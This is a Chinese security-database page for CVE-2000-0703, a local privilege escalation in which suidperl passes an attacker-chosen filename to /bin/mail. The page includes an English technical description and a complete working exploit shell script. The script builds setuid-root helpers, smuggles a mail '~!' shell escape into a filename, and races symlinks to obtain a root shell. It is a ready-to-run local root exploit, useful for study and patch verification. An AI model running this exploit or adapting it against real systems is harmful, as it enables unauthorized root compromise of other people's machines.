suidperl(也称为sperl) /bin/mail权限提升漏洞

suidperl(也称为sperl) /bin/mail权限提升漏洞

漏洞ID 1105955 漏洞类型 未知
发布时间 2000-08-07 更新时间 2005-10-12
图片[1]-suidperl(也称为sperl) /bin/mail权限提升漏洞-安全小百科CVE编号 CVE-2000-0703
图片[2]-suidperl(也称为sperl) /bin/mail权限提升漏洞-安全小百科CNNVD-ID CNNVD-200010-039
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/20142
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200010-039
|漏洞详情
suidperl(也称为sperl)在调用/bin/mail发送错误报告前不正确清除转义序列,本地用户可以利用该漏洞通过设置“interactive”环境变量,以及调用文件名包含转义序列的suidperl获取权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/1547/info
 
The interaction between some security checks performed by suidperl, the setuid version of perl, and the /bin/mail program creates a scenario that allows local malicious users to execute commands with root privileges.
 
The suidperl program performs a number of checks to make sure it can't be fooled into executing a perl script with root privileges when its not suid root. When one of these checks fails the program will compose a message to the root user. The mail message looks like this:
 
From: Bastard Operator <[email protected]>
To: [email protected]
 
User 500 tried to run dev 769 ino 343180 in place of dev 769 ino 343183!
(Filename of set-id script was /some/thing, uid 500 gid 500.)
 
Sincerely,
perl
 
The name of the script to execute (inserted into the message) is taken from the program's argument list (argv[1]). suidperl executes /bin/mail to inject the message into the mail system. It does so without cleaning the environment or dropping its root privileges. The /bin/mail program has an undocumented feature. By setting the environment variable "interactive" to any value, /bin/mail will interpret the sequence "~!" as an escape sequence to start a shell and execute commands even when the program is not attached to a terminal. The environment variable "interactive" can be also set from ~/.mailrc with a "set interactive" line.
 
A malicous user can create a file with an escape sequence and commands embedded in the file name, then execute suidperl in such a way that the security check fails. suidperl will send a message to root via /bin/mail with the escape sequence embedded in the message. This will cause /bin/mail to start a root shell and execute the commands.

#!/bin/sh

#
#    -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
#
# Wonderful, lovely, world-smashing, exciting perl exploit. It works against
# +s suidperl, exploiting undocumented /bin/mail feature when perl wants to
# notify root on inode race conditions. Currently, tested under RH Linux.
#
# What's probably most shocking, buggy code has following comment inside:
# /* heh, heh */. I guess author wasn't laughning last.
#
# Development history of this exploit is really funny. I found this condition
# about 4 months ago, but thought it's useless (who wants to notify root?).
# I deleted my test code and didn't left any notes on it. Then, month after
# this discovery, Sebastian contacted me. He was working on perl exploit.
# He told me he don't know how to cause this condition to happen, but
# if he realise how he can do it, he'll be able to use undocumented /bin/mail
# feature - environmental variable 'interactive', which, if set, causes
# /bin/mail to interpret ~! commands (subshell requests) even if stdin is not
# on terminal. And then I understood what I've done. I spent next month
# (yes! no kidding!) trying to recall what the fsck was the condition. I
# remembered it was trivial, even annoying... And finally, now I'm able to
# reconstruct it.
#
# This exploit tries to fit in rather short, but reasonable time window in
# order to exploit it. I tested it on fast, not overloaded Linux box, and
# I guess on slow machines it needs tunning. It needs anything setuid
# (/usr/bin/passwd is just fine), writable working directory and something
# around 4 minutes. Working directory should be mounted without noexec or
# nosuid options (if so, find something like /var/lib/svgalib etc).
#
# WARNING: On slow machines, it's quite possible this exploit will cause
# heavy load. Please test it when system is not overloaded and not used
# (eg. at night).
#
#
# I'd like to thank Sebastian Krahmer for his help (in fact, HE discovered it
# - I think I can say it without shame), and especially thank to several of
# my braincells that survived monitor radiation and made me recall this
# race condition.
#
# Send comments, ideas and flames to <[email protected]>
# Tested with sperl 5.00503, but should work with any other as well.
#
# Good luck and don't abuse it.
#

clear

echo "Suidperl 5.00503 (and newer) root exploit"
echo "-----------------------------------------"
echo "Written by Michal Zalewski <[email protected]>"
echo "With great respect to Sebastian Krahmer..."
echo

SUIDPERL=/usr/bin/suidperl
SUIDBIN=/usr/bin/passwd

echo "[*] Using suidperl=$SUIDPERL, suidbin=$SUIDBIN..."

if [ ! -u $SUIDPERL ]; then
  echo "[-] Sorry, $SUIDPERL4 is NOT setuid on this system or"
  echo "    does not exist at all. If there's +s perl binary available,"
  echo "    please change SUIDPERL variable within exploit code."
  echo
  exit 0
fi


if [ ! -u $SUIDBIN ]; then
  echo "[-] Sorry, $SUIDBIN is NOT setuid on this system or does not exist at"
  echo "    all. Please pick any other +s binary and change SUIDBIN variable"
  echo "    within exploit code."
  echo
  exit 0
fi

echo "[+] Checks passed, compiling flares and helper applications..."
echo

cat >flare <<__eof__
#!/usr/bin/suidperl

print "Nothing can stop me now...n";

__eof__

cat >bighole.c <<__eof__
main() {
  setuid(0);
  setgid(0);
  chown("sush",0,0);
  chmod("sush",04755);
}
__eof__

cat >sush.c <<__eof__
main() {
  setuid(0);
  setgid(0);
  system("/bin/bash");
}
__eof__

make bighole sush

echo

if [ ! -x ./sush ]; then
  echo "[-] Oops, seems to me I cannot compile helper applications. Either"
  echo "    you don't have working 'make' or 'gcc' utility. If possible,"
  echo "    please compile bighole.c and sush.c manually (to bighole and sush)."
  echo 
  exit 0
fi

echo "[+] Setting up environment..."

chmod 4755 ./flare

FILENAME='none

~!bighole

'
export interactive=1
PATH=.:$PATH

echo "[+] Starting exploit. It could take up to 5 minutes in order to get"
echo "[+] working root shell. WARNING - WARNING - WARNING: it could cause"
echo "[+] heavy system load."

while :; do
  ( ln -f -s $SUIDBIN "$FILENAME";usleep $RANDOM; nice -n +20 $SUIDPERL ./"$FILENAME" <./flare & ) &>/dev/null &
  ( usleep $RANDOM ; ln -f -s /dev/stdin "$FILENAME" ) &>/dev/null &
  if [ -u ./sush ]; then
    echo
    echo "[+] VOILA, BABE :-) Entering rootshell..."
    echo
    rm -f "$FILENAME" sush.c bighole bighole.c flare
    ./sush
    echo
    echo "[+] Thank you for using Marchew Industries / dupa.ryba products."
    echo
    rm -f "$FILENAME" sush.c bighole bighole.c flare sush
    exit 0
  fi
done
|参考资料

来源:BID
名称:1547
链接:http://www.securityfocus.com/bid/1547
来源:CALDERA
名称:CSSA-2000-026.0
链接:http://www.calderasystems.com/support/security/advisories/CSSA-2000-026.0.txt
来源:BUGTRAQ
名称:20000805sperl5.00503(andnewer;)exploit
链接:http://archives.neohapsis.com/archives/bugtraq/2000-08/0022.html
来源:TURBO
名称:TLSA2000018-1
链接:http://www.turbolinux.com/pipermail/tl-security-announce/2000-August/000017.html
来源:REDHAT
名称:RHSA-2000:048
链接:http://www.redhat.com/support/errata/RHSA-2000-048.html
来源:SUSE
名称:20000810SecurityHoleinperl,allversions
链接:http://www.novell.com/linux/security/advisories/suse_security_announce_59.html
来源:BUGTRAQ
名称:20000814TrustixSecurityAdvisory-perlandmailx
链接:http://archives.neohapsis.com/archives/bugtraq/2000-08/0153.html
来源:BUGTRAQ
名称:20000810ConectivaLinuxsecurityannouncemente-PERL
链接:http://archives.neohapsis.com/archives/bugtraq/2000-08/0113.html
来源:BUGTRAQ
名称:20000808MDKSA-2000:031perlupdate
链接:http://archives.neohapsis.com/archives/bugtraq/2000-08/0086.html

相关推荐: Cisco VPN Concentrator ICMP Flood Remote Denial Of Service Vulnerability

Cisco VPN Concentrator ICMP Flood Remote Denial Of Service Vulnerability 漏洞ID 1100334 漏洞类型 Design Error 发布时间 2003-05-07 更新时间 2003-…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享